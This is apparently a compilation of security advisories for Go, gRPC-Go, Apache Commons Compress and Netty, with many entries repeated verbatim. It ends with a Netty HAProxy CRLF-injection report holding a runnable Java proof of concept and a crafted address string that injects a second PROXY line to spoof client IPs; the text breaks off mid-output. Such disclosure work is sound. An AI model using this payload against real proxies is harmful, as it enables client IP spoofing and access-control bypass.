During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.

This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.

Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.

The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).

Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.

If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service.

This only affects TLS 1.3.

Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service.

This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.

During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.

url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname.

With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.

archive/zip uses a super-linear file name indexing algorithm that is invoked the first time a file in an archive is opened. This can lead to a denial of service when consuming a maliciously constructed ZIP archive.

An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com.

If the PATH environment variable contains paths which are executables (rather than just directories), passing certain strings to LookPath ("", ".", and ".."), can result in the binaries listed in the PATH being unexpectedly returned.

On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root.

The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation.

If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the <script> block.

CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the attribute, the escaper would fail to similarly escape it, leading to XSS.

Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied.

These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities.

Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh".

A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0.

tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.

When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged.

ReverseProxy can forward queries containing parameters not visible to Rewrite functions.

When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function.

For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.

During the TLS 1.3 handshake if multiple messages are sent in records that span encryption level boundaries (for instance the Client Hello and Encrypted Extensions messages), the subsequent messages may be processed before the encryption level changes. This can cause some minor information disclosure if a network-local attacker can inject messages during the handshake.

The Reader.ReadResponse function constructs a response string through repeated string concatenation of lines. When the number of lines in a response is large, this can cause excessive CPU consumption.

When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped.

Despite HTTP headers having a default limit of 1MB, the number of cookies that can be parsed does not have a limit. By sending a lot of very small cookies such as "a=;", an attacker can make an HTTP server allocate a large amount of structs, causing large memory consumption.

Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.

The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to be included within the host component, enclosed within square brackets. For example: "http://[::1]/". IPv4 addresses and hostnames must not appear within square brackets. Parse did not enforce this requirement.

tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A maliciously-crafted archive containing a large number of sparse regions can cause a Reader to read an unbounded amount of data from the archive into memory. When reading from a compressed source, a small compressed input can result in large allocations.

On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened.

The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root.

Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.

Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead.

Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.

Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.

Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.

When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.

Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.

On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /.

For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.

Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.

This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.

Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.

The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).

Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.

If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service.

This only affects TLS 1.3.

Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service.

This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.

During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.

url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.

(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname.

With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.

On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root.

The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation.

If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the <script> block.

CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the attribute, the escaper would fail to similarly escape it, leading to XSS.

Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied.

These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities.

Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh".

A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0.

tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.

When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged.

ReverseProxy can forward queries containing parameters not visible to Rewrite functions.

When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function.

For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.

On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened.

The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root.

Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.

Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead.

Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.

Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.

Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.

When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.

Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.

On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /.

For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.

Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.

This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

The html.Parse function in golang.org/x/net/html has an infinite parsing loop when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content.

The html.Parse function in golang.org/x/net/html has quadratic parsing complexity when processing certain inputs, which can lead to denial of service (DoS) if an attacker provides specially crafted HTML content.

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.

This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

Impact

What kind of vulnerability is it? Who is impacted?

It is an Authorization Bypass resulting from Improper Input Validation of the HTTP/2 :path pseudo-header.

The gRPC-Go server was too lenient in its routing logic, accepting requests where the :path omitted the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official grpc/authz package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with /) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present.

Who is impacted?
This affects gRPC-Go servers that meet both of the following criteria:

1. They use path-based authorization interceptors, such as the official RBAC implementation in google.golang.org/grpc/authz or custom interceptors relying on info.FullMethod or grpc.Method(ctx).
2. Their security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule).

The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed :path headers directly to the gRPC server.

Patches

Has the problem been patched? What versions should users upgrade to?

Yes, the issue has been patched. The fix ensures that any request with a :path that does not start with a leading slash is immediately rejected with a codes.Unimplemented error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string.

Users should upgrade to the following versions (or newer):

• v1.79.3
• The latest master branch.

It is recommended that all users employing path-based authorization (especially grpc/authz) upgrade as soon as the patch is available in a tagged release.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods:

1. Use a Validating Interceptor (Recommended Mitigation)

Add an "outermost" interceptor to your server that validates the path before any other authorization logic runs:

func pathValidationInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
    if info.FullMethod == "" || info.FullMethod[0] != '/' {
        return nil, status.Errorf(codes.Unimplemented, "malformed method name")
    }   
    return handler(ctx, req)
}

// Ensure this is the FIRST interceptor in your chain
s := grpc.NewServer(
    grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor),
)

2. Infrastructure-Level Normalization

If your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the :path header does not start with a leading slash.

3. Policy Hardening

Switch to a "default deny" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs.

Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:

• Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing Metadata or RequestedServerName fields.
• Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
• Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing NOT rules around unsupported fields.

Impact

What kind of vulnerability is it? Who is impacted?

xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers

• Affected Component: xDS RBAC
• Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
  • If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
• If these unsupported rules were nested inside logical NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.

As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.

HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts

• Affected Component: HTTP/2 transport
• Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as SETTINGS ACKs or server-initiated RST_STREAMs.

When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).

Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules

• Affected Component: xDS RBAC
• Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.

An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).

Patches

Has the problem been patched? What versions should users upgrade to?

All three issues have been fixed in master and will be released in 1.82.1 shortly.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:

• For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
• For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.

Severity

Vulnerability	Qualitative Severity	Approximate CVSS v3.1 Score	Primary Impact
xDS RBAC Authorization Bypass	High	8.2	Unauthorized Access / Fail-Open
HTTP/2 Rapid Reset DOS Bypass	High	7.5	High CPU Consumption / Denial of Service
xDS RBAC Engine Server Panic	Medium	5.9	Process Crash / Denial of Service

When reading a specially crafted ZIP archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' zip package.

When reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.

When reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

When reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0.

Users are recommended to upgrade to version 1.26.0 which fixes the issue.

The HAProxyMessageDecoder in netty's codec-haproxy module performs protocol version detection by reading the 13th byte of the inbound stream as a signed Java byte and widening it to int without masking. When an attacker sends a PROXY protocol v2 binary prefix (0D 0A 0D 0A 00 0D 0A 51 55 49 54 0A) followed by version byte 0xFF, the sign extension produces -1, which collides with the decoder's "need more data" sentinel value. This collision traps the decoder in a version-detection loop where it perpetually requests more data without consuming any bytes, never instantiates the HeaderExtractor that enforces header size limits, and causes ByteToMessageDecoder to accumulate all subsequent inbound bytes into an unbounded cumulation buffer until the JVM exhausts its direct memory allocation.

Impact

The HAProxy PROXY protocol v2 codec in netty leaks native or heap memory on every connection when a client sends a syntactically valid header containing nested PP2_TYPE_SSL TLVs (type-length-value records) at depth two or greater. The leak occurs on the successful parse path — no exception is thrown, the message fires downstream, the decoder removes itself, and the application releases the HAProxyMessage normally. Yet the underlying cumulation buffer (a pooled, potentially direct ByteBuf allocated by the channel) remains permanently pinned.

When decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls header.retainedSlice(header.readerIndex(), length) and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released.

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions with codec-haproxy)
Component	io.netty.handler.codec.haproxy.HAProxyMessageEncoder
Vulnerability Type	CWE-93: Improper Neutralization of CRLF Sequences
Impact	HAProxy PROXY Protocol Injection / Client IP Spoofing
CVSS 3.1 Score	7.5 (High)
CVSS 3.1 Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

2. Affected Components

• io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation
• io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)

3. Vulnerability Description

Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.

Root Cause — Encoder

// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
    out.writeBytes(TEXT_PREFIX);                                    // "PROXY "
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    // ...
    out.writeByte((byte) '\r');
    out.writeByte((byte) '\n');
}

Root Cause — Insufficient Address Validation

// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
    switch (addrFamily) {
        case AF_UNIX:
            ObjectUtil.checkNotNull(address, "address");
            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
                throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
            }
            return;  // ONLY checks length <= 108, NO CRLF validation!
        case AF_IPv4:
            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF
        case AF_IPv6:
            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF
    }
}

IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers
2. AF_UNIX (UNIX_STREAM or UNIX_DGRAM) addresses contain user-controlled input
3. The encoded PROXY header is sent to a downstream server or load balancer

Affected use cases:

• PROXY protocol relays that construct AF_UNIX messages from upstream data
• Load balancer integrations where socket paths come from configuration or external sources
• Multi-tenant proxies that dynamically construct PROXY headers

5. Attack Scenario

Client IP Spoofing via Second PROXY Line Injection

String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";

HAProxyMessage msg = new HAProxyMessage(
    HAProxyProtocolVersion.V1,
    HAProxyCommand.PROXY,
    HAProxyProxiedProtocol.UNIX_STREAM,
    maliciousAddr,                    // CRLF-injected source address
    "/var/run/dest.sock",
    0, 0);

Wire format sent to backend:

PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0

The backend receives two PROXY lines. Depending on implementation:

• HAProxy: may use the first line and ignore the second
• Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1
• This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not

6. Proof of Concept

Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;

public class HAProxyUnixCRLFPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");

        String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
        String destAddr = "/var/run/dest.sock";

        HAProxyMessage msg = new HAProxyMessage(
            HAProxyProtocolVersion.V1,
            HAProxyCommand.PROXY,
            HAProxyProxiedProtocol.UNIX_STREAM,
            maliciousAddr, destAddr, 0, 0);

        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
        ch.writeOutbound(msg);

        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }

        int proxyCount = 0;
        for (String line : encoded.split("\r\n")) {
            if (line.startsWith("PROXY")) proxyCount++;
        }
        System.out.println("PROXY lines: " + proxyCount);
        System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
    }
}

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HAProxy AF_UNIX CRLF Injection PoC ===

[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
  Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
  Wire format:
    PROXY UNIX_STREAM /var/run/app.sock\r
